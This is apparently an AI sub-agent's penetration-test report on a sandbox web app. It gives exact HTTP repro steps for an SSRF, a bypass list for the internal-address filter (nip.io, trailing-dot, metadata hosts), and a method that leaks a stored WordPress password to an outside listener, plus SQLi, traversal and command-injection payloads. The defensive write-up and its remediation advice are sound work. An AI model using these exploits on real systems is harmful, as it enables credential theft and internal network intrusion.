# ZCP (zcp.mirrorka.ru) — server-side injection & SSRF in integrations / SEO / AI plumbing

**Sub-agent:** injection-ssrf · **Date:** 2026-10-26 · **Target:** https://zcp.mirrorka.ru (sandbox mirror)
**Accounts used:** A (owner, `/home/dots/work/zcp/a.json`), B (member/editor, `b.json`) — no logins were performed except one at the very start; sessions reused from JSON state.
**Rate:** ≤1–2 req/s, 0.4–1.0 s sleep, back-off on 429/403.
**Out-of-band infra:** own VM listener `python3 http.server 8899` + custom full-request logger `ssrf_logger.py 8900`, both exposed via `dots share` → `https://rgwokwlqql…/` (8899) and `https://bhemkrplqsbo56hr-dots.vixium.ai/` (8900).

---

## Findings summary

| # | Title | Severity | Endpoint(s) |
|---|-------|----------|-------------|
| F1 | SSRF: arbitrary server-side HTTPS request via WordPress integration `destination`, with attacker-controlled Basic credentials and path | **High** | `PUT /api/integrations/new` (or `PUT /api/integrations/{id}`) + `POST /api/integrations/{id}/check` |
| F2 | "Internal address" filter bypass (trailing-dot IP literal, DNS names resolving to private IPs) | **High** (enables F1 against internal targets) | same as F1 |
| F3 | Stored WordPress app-password exfiltration: change `destination` only, `check` forwards the **stored** secret to the new host | **High** (requires project `settings` permission) | `PUT /api/integrations/{id}` + `POST /api/integrations/{id}/check` |
| F4 | Unhandled server errors → Cloudflare 502 (`origin_bad_gateway`) on any provider/HTTP failure (no JSON error handling) | Low | `/api/integrations/{id}/check`, `/models`, `/channels`, `/api/agents/run`, `/api/projects/{brand}/check` |

Verified **negative** (no finding): SQL/NoSQL/command injection, path traversal, JSON type confusion, redirect-based SSRF, SSRF via AI `destination`/`model`/project `provider`, SSRF via SEO CSV import, header/CRLF injection, cross-brand agent runs (authz holds).

---

## F1 — SSRF: server-side authenticated fetch to an attacker-controlled URL (High)

### Where
Integration kind `wordpress`. The `destination` field ("HTTPS-адрес сайта") is stored verbatim and used by the connectivity check as the **base URL** of a server-side request:

```
GET {destination}/wp-json/wp/v2/users/me?context=edit
Authorization: Basic base64(model:value)      # model = WP user, value = app password (stored secret)
User-Agent: Go-http-client/2.0
Content-Type: application/json
```

Note: `POST /api/integrations` returns 404 — creation is `PUT /api/integrations/new` with
`{brand,kind,name,purpose,destination,model,value,enabled}`.

### Repro (exact, verified)
1. Start a listener you control and note its URL (here `https://bhemkrplqsbo56hr-dots.vixium.ai`, full-request logger `ev/ssrf_logger.py`, logs `ev/ssrf_requests.jsonl`).
2. Create the integration (unique path proves the callback is mine):

```http
PUT /api/integrations/new HTTP/1.1
Host: zcp.mirrorka.ru
Origin: https://zcp.mirrorka.ru
X-CSRF-Token: <csrf>
Cookie: zcp_session=<A>
Content-Type: application/json

{"brand":"zh-test","kind":"wordpress","name":"inj-wp-uniq","purpose":"ssrf unique path",
 "destination":"https://bhemkrplqsbo56hr-dots.vixium.ai/injssrf832996",
 "model":"wpuser","value":"abcd efgh ijkl mnop qrst uvwx","enabled":true}
```
```http
HTTP/1.1 200
{"id": "379f7f37792b793a24faae5a59cd7eb2"}
```

3. Trigger the server-side request:
```http
POST /api/integrations/379f7f37792b793a24faae5a59cd7eb2/check HTTP/1.1
Origin: https://zcp.mirrorka.ru
X-CSRF-Token: <csrf>

{}
```
```http
HTTP/1.1 200
{"ok": true}
```

4. Request received **on my listener** (raw, from `ev/ssrf_requests.jsonl`, ts `2026-10-26T20:38:34Z`):

```http
GET /injssrf832996/wp-json/wp/v2/users/me?context=edit HTTP/1.1
Host: bhemkrplqsbo56hr-dots.vixium.ai
User-Agent: Go-http-client/2.0
Accept-Encoding: gzip, br
Authorization: Basic d3B1c2VyOmFiY2QgZWZnaCBpamtsIG1ub3AgcXJzdCB1dnd4   # wpuser:abcd efgh ijkl mnop qrst uvwx
Content-Type: application/json
Cf-Connecting-Ip: 136.148.218.175      # egress IP of the ZCP origin (SE)
```

The random path segment `injssrf832996` existed only in the API request body, so the callback is unambiguously generated by the target server (not by a third-party scanner that also hits the public share URL).

Second independent callback (first test, plain-HTTP listener on 8899), `ev/listener_8899.log`:
```
127.0.0.1 - - [26/Oct/2026 20:38:04] "GET /wp-json/wp/v2/users/me?context=edit HTTP/1.1" 404 -
```

### Response oracle (also verified)
* Destination returns 200 + any JSON → API answers `{"ok":true}` and the integration becomes *verified* (my fake WP JSON `{"id":1,"name":"inj-admin","capabilities":{"publish_posts":true}}` was accepted).
* Destination returns a non-200 → `{"error":"WordPress отклонил запрос (HTTP 404)…"}` (the status code of the internal/remote response is reflected — usable as a port/service oracle).
* Connection/TLS/DNS error → Cloudflare 502 (see F4).

### Impact
* The server performs arbitrary outbound **HTTPS** requests from its own network position and egress IP (`136.148.218.175`), bypassing any IP allow-list that trusts that egress (internal admin panels, partner APIs, SaaS with IP allow-listing, third-party abuse from the victim's IP).
* Full control of host, path and query-less URL; response status is reflected (oracle), body is not.
* The request carries credentials the attacker chooses, and (F3) the credentials already stored.
* Verified integrations can be spoofed: an attacker-controlled server makes the panel show "Подключено".

### Remediation
* Do not accept a free-form URL for a "connection check", or validate strictly: scheme `https`, port 443/empty, no userinfo/query, host is a **registered, verified** domain of the project.
* Resolve DNS and reject loopback/private/link-local/metadata ranges **after resolution**, and pin the resolved IP in a custom `DialContext` (prevents DNS rebinding and F2).
* Keep the "no redirects" behaviour (verified: 302 is reported, not followed) and re-validate on any future redirect support.
* Egress allow-list / proxy for all provider calls.

---

## F2 — "Internal address" filter bypass (High, enables F1 internally)

`POST /api/integrations/{id}/check` validates `destination`. Verified behaviour (matrix in `ev/ssrf_matrix.jsonl`, each row = create + check + delete):

| destination | result |
|---|---|
| `https://example.com/` | 400 `WordPress отклонил запрос (HTTP 404)` → **fetched** |
| `http://example.com/` | 400 `Для WordPress нужен публичный HTTPS-адрес сайта без параметров и пароля.` |
| `https://example.com/?a=1` | rejected (query string) |
| `https://api.telegram.org@127.0.0.1/` | rejected (userinfo) |
| `https://example.com:8443/` | rejected (non-443 port) |
| `https://example.com:443/` | **accepted, fetched** (`HTTP 404`) |
| `https://127.0.0.1/` | 400 `Внутренний адрес сайта недопустим.` |
| `https://0.0.0.0/`, `https://10.1.2.3/`, `https://192.168.1.1/`, `https://[::ffff:127.0.0.1]/` | 400 `Внутренний адрес сайта недопустим.` |
| `https://169.254.169.254/` | 400 `Внутренний адрес сайта недопустим.` |
| `https://2130706433/`, `https://0x7f000001/`, `https://[::1]/`, `https://[::ffff:7f00:1]/` | 400 `Укажите публичный адрес сайта.` (unparseable) |
| **`https://127.0.0.1./`** (trailing dot) | **502 → passed validation, fetch attempted** (fast connection error) |
| **`https://127.0.0.1.nip.io/`**, **`https://127.0.0.1.sslip.io/`**, **`https://localtest.me/`** | **502 → passed validation, fetch attempted** |
| **`https://10.1.2.3.nip.io/`**, **`https://192.168.1.1.nip.io/`** | **502 → passed validation, fetch attempted** |
| **`https://169.254.169.254.nip.io/`**, **`https://metadata.google.internal/`** | **502 → passed validation, fetch attempted** |
| `https://localhost.localdomain/` | 502 after 6.9 s (DNS timeout) |

So the private-range check is a literal-IP parse only. A trailing dot (`127.0.0.1.`) or any DNS name resolving to a private address passes. Because an explicit port other than 443 is rejected, internal reach is limited to **https://<internal>:443** (plus `Host` derived from the hostname, i.e. SNI/TLS certificate must match — a self-signed internal service fails, as TLS verification is on: `https://self-signed.badssl.com/` and `https://expired.badssl.com/` both return 502).

**Limit of proof:** no callback is possible for a 127.0.0.1 target, so internal reachability is proven by the error-class oracle only: `https://127.0.0.1/` → explicit rejection, `https://127.0.0.1./` → the request passes validation and fails at the connection level in 0.22–0.38 s (fast refusal), identical to a closed public port, while a non-resolving name takes ~6.9 s. I did **not** observe a successful internal connection (nothing listens on 127.0.0.1:443 in the app container).

### Remediation
Same as F1 (resolve-then-check, canonicalise the host, reject non-canonical IP literals and any host whose resolved address is not public).

---

## F3 — Stored WordPress app password exfiltration via `destination` change (High, needs `settings` permission)

The API never returns stored secrets (`GET /api/integrations` has no secret field; UI states "Просмотр сохранённого значения недоступен"), but `check` sends the **stored** secret to whatever host is currently in `destination`.

### Repro (verified)
1. `PUT /api/integrations/new` (wordpress, `destination=https://<myhost>/keep-orig-<u>`, `model=wpadmin`, `value="abcd efgh ijkl mnop qrst uvwx"`).
2. Change **only the destination**, value left empty (simulates an attacker/insider who may edit settings but cannot read the secret):
```json
PUT /api/integrations/ecbc4f6ce2c8c2fd071fee883317ada7
{"brand":"zh-test","kind":"wordpress","name":"inj-wp-keep","purpose":"secret exfil test",
 "destination":"https://bhemkrplqsbo56hr-dots.vixium.ai/keep-evil-26437",
 "model":"wpadmin","value":"","enabled":true}
→ 200 {"id":"ecbc4f6ce2c8c2fd071fee883317ada7"}
```
3. `POST /api/integrations/ecbc4f6ce2c8c2fd071fee883317ada7/check {}` → `200 {"ok":true}`
4. Listener receives the **old, stored** password:
```http
GET /keep-evil-26437/wp-json/wp/v2/users/me?context=edit HTTP/1.1
User-Agent: Go-http-client/2.0
Authorization: Basic d3BhZG1pbjphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==   # wpadmin:abcd efgh ijkl mnop qrst uvwx
```

Authz check: user B (editor on `zh-test`, `settings:false`) gets `403 Нет доступа к этому проекту.` on both the update and the check (`ev/raw_log.jsonl`), so the precondition is the `settings` permission (project admin / workspace admin / owner) or a stolen session in that role.

### Impact
Any user who can edit a project's integrations (or who hijacks such a session) can read out the plaintext WordPress application password — a credential that is intentionally write-only in the product and that usually grants publishing rights on the customer's real website. Same class applies to any future kind whose check forwards a stored secret to a URL.

### Remediation
* Bind the stored secret to the destination it was entered for (hash of host); if `destination` changes, invalidate the secret and require re-entry.
* Never send stored credentials to a host that was not the one used at secret-entry time; verify ownership of the site (DNS TXT / file challenge) before the first authenticated call.
* Log and alert on destination changes followed by `check`.

---

## F4 — Unhandled server errors → Cloudflare 502 (Low)

Any provider/HTTP failure inside the check path aborts the request: Cloudflare returns `502 origin_bad_gateway` (origin reset) instead of a JSON error. Observed for `deepseek`, `openai`, `openrouter`, `gemini`, `tavily`, `max`, `metrica`, `wordstat` checks, `GET /api/integrations/{id}/models` (all AI kinds), `POST /api/integrations/{id}/channels` (telegram `getUpdates`), `POST /api/agents/run` (missing key), `POST /api/projects/{brand}/check {kind:"ai"}`, and every connection-level failure of the WP check.
Example: `POST /api/integrations/edddadc8774c5bbc68306ab59bae2058/check {}` → `502 {"title":"Error 502: Bad gateway", … "error_name":"origin_bad_gateway"}` (see `ev/raw_log.jsonl`).
Impact: no error hygiene (users see a Cloudflare page), request-scoped crashes, and it masks the response oracle used in F1/F2. Presumably a missing panic-recovery / error branch on non-2xx provider responses.
Remediation: recover middleware returning a JSON 502/400, structured error mapping per provider, and unit tests for provider error paths.

---

## Verified negatives (all with real requests, saved in `ev/raw_log.jsonl`)

| Test | Result |
|---|---|
| SQLi in `brand` (`GET /api/seo?brand=zh-test'`, `… AND (SELECT 1 FROM pg_sleep(5))…`) | `403 Выберите доступный проект.` (0.36 s) — brand whitelisted, no time delay |
| SQLi/time in integration id, workflow id, plan id, recurring id, avatar id (`' OR '1'='1`, `../../etc/passwd`, `%00`) | `404` not-found / route errors, no 5xx, no delay |
| Path traversal `/api/integrations/../../etc/passwd`, `/api/seo/plans/../../etc/passwd`, `/api/workflows/../../etc/passwd`, `/api/users/../../etc/passwd/avatar`, `/api/recurring/../../etc/passwd` | `404` (`Страница не найдена.` / `Метод API не найден.` / `Подключение не найдено.`) |
| JSON type confusion: `{"taskId":["a"]}`, `{"taskId":{"$ne":""}}`, `{"brand":["zh-test"]}`, `{"kind":{"x":1}}`, `{"brand":{"$ne":""}}`, `{"kind":["telegram"]}` | `400 Некорректные данные запроса.` — strict typing |
| Command injection in CSV cells / `numberFormat` / `columns` / dates | `$(id)`, `` `id` ``, `' OR 1=1 --` stored **verbatim** as metric values (`GET /api/seo?brand=zh-test` returns them); `numberFormat` and `columns` are whitelisted (`Выберите формат чисел CSV`, `Выбранный столбец не найден`) |
| SSRF via SEO import (`pageUrl` = my listener / `169.254.169.254` / `file://`) | no callback; `file://`/non-URL rejected (`Укажите полный URL страницы.`); no server-side fetch of imported URLs |
| SSRF via SEO `plans/new` brief containing a URL | no callback (plan job fails on AI key: `Провайдер deepseek отклонил запрос … (HTTP 401)`) |
| SSRF via AI integration `destination`/`model` (openai/deepseek/openrouter/gemini/tavily, destination = my listener) | no callback; `destination` unused for AI kinds, `model` only affects provider payload/URL path |
| SSRF via project config `provider`/`model` (set to `https://myhost`, `myhost`, `127.0.0.1.nip.io` through `PUT /api/workspace`, then `POST /api/projects/{brand}/check {kind:"ai"}`) | no callback; config restored to original (`ev/workspace_before.json`) |
| Redirect-based SSRF (`destination` = my host returning `302 Location: https://127.0.0.1/` and `…/final-target`) | redirects are **not** followed: `WordPress отклонил запрос (HTTP 302)`; no second request |
| Header/CRLF injection (`model` = `wpuser\r\nX-Inj: …`, destination path with `%0d%0a`) | rejected (`Укажите имя пользователя WordPress.`) / percent-encoded in the path; no injected headers on the listener |
| Telegram `destination` injection in `verify-channel` (`@inj&offset=99`, URL, CRLF) | `400 Укажите @имя канала или числовой chat_id.` |
| SVG cover upload (external `<image href>` to my listener) then `GET /api/workflows/{id}/design` | SVG rejected (`Выберите PNG, JPEG или WebP…`), no callback; cover pipeline is local decoding only |
| Injection in `/api/recurring/new` (timezone `../../etc/passwd; id`, localTime `10:00' OR '1'='1`, weekdays `[1,99,-1]`) | `400 Неизвестный часовой пояс.` / `400 Укажите время в формате ЧЧ:ММ.` — whitelisted |
| Type confusion in `/api/campaigns` settings (`count:"1 OR 1=1"`, `spacing:"x"`) | `400 Некорректные данные запроса.` |
| Cross-brand agent run: B (editor, `zh-test` only) `POST /api/assistant {brand:"garden"}` / `POST /api/agents/run {taskId:<A task>}` / `PUT /api/workspace` with a `garden` task | `403 Нет доступа к этому проекту.` / allowed only for zh-test tasks / `403` on the garden task write — **no IDOR** on `/api/agents/run` |

---

## Hypotheses (NOT verified — do not treat as findings)

1. **Metrica/Wordstat counter-id query injection** — `destination` of a `metrica` integration and `config.targetId`/seeds flow into `https://api-metrika.yandex.net/...` and the Yandex Search API. Injection into the query string is plausible, but with an invalid token the provider answers 403 before parsing parameters (`inj-metrica-invalid вернул HTTP 403`), so no oracle was available.
2. **Prompt injection / secret exfiltration through AI** — `/api/assistant`, `/api/agents/run`, `/api/campaigns` brief, `/api/workflows/{id}/revise` text. The environment has no valid AI key (all provider calls end in 401/502), so model behaviour, tool use (Tavily fetch) and whether secrets/other brands' context can be pulled into the answer could not be observed.
3. **Internal SSRF beyond port 443** — blocked by the port rule (`:8443`, `:8080` rejected, `:443` accepted); a bypass for the port check was not found.
4. **Cloud metadata** — only HTTPS/443 is reachable and IMDS (169.254.169.254) is HTTP-only; the DNS bypass reaches the IP but not a listener.
5. **Multi-tenant workspace write races** — `PUT /api/workspace` returns `409 Данные изменены в другой вкладке` and full-snapshot writes can drop other users' concurrently created objects (observed: my new project `inj-probe` disappeared after another agent's snapshot write). Not part of this scope; flagging for the authz/state sub-agent.

---

## Evidence index (`/home/dots/work/zcp/loot/injection/ev/`)

| File | Content |
|---|---|
| `raw_log.jsonl` | every API request I made: tag, method, path, body, status, elapsed, response |
| `ssrf_requests.jsonl` | full HTTP requests received by my logger (headers, body, client IP) |
| `ssrf_requests_raw.log` | same, raw stderr stream |
| `callbacks_evidence.json` | the 6 callback records that carry the `Authorization: Basic` header (target-originated) |
| `listener_8899.log` | first callback (plain http.server, `GET /wp-json/wp/v2/users/me?context=edit`) |
| `ssrf_matrix.jsonl` | destination-validation matrix (F2), one JSON line per trial with timings |
| `ssrf_logger.py` | logger used (redirect modes, JSON dump) |
| `created_integrations.json` | the 16 test integrations created (all deleted afterwards) |
| `workspace_before.json` | workspace snapshot before the `provider` experiment |
| `uniq_path.txt`, `uniq_integration_id.txt`, `wp_keep_id.txt`, `my_workflow_id.txt` | identifiers used in the repros |

## Cleanup / side effects
* All 16 `inj-*` integrations were deleted (`DELETE /api/integrations/{id}` → 200 each); the remaining integrations in the project belong to other sub-agents.
* The workflow created by `POST /api/assistant` (`a3171c78a11ef4af16c4606d21b62ef5`, brand `garden`) was moved to trash (`POST /api/workflows/{id}/material-state {"state":"trash"}` → 200).
* 3 SEO metric rows remain in project `zh-test` (`source: csv:inj-csv-seoimp2797905`, queries `купить жалюзи`, `' OR 1=1 --`, `$(id)`); the SEO API has no delete endpoint. They are inert test data.
* The temporary project `inj-probe` (created for the `provider` test) was removed by another agent's workspace write; its legacy AI secret is gone with it.
* No existing project, material, knowledge entry, task or integration of the owner was modified.
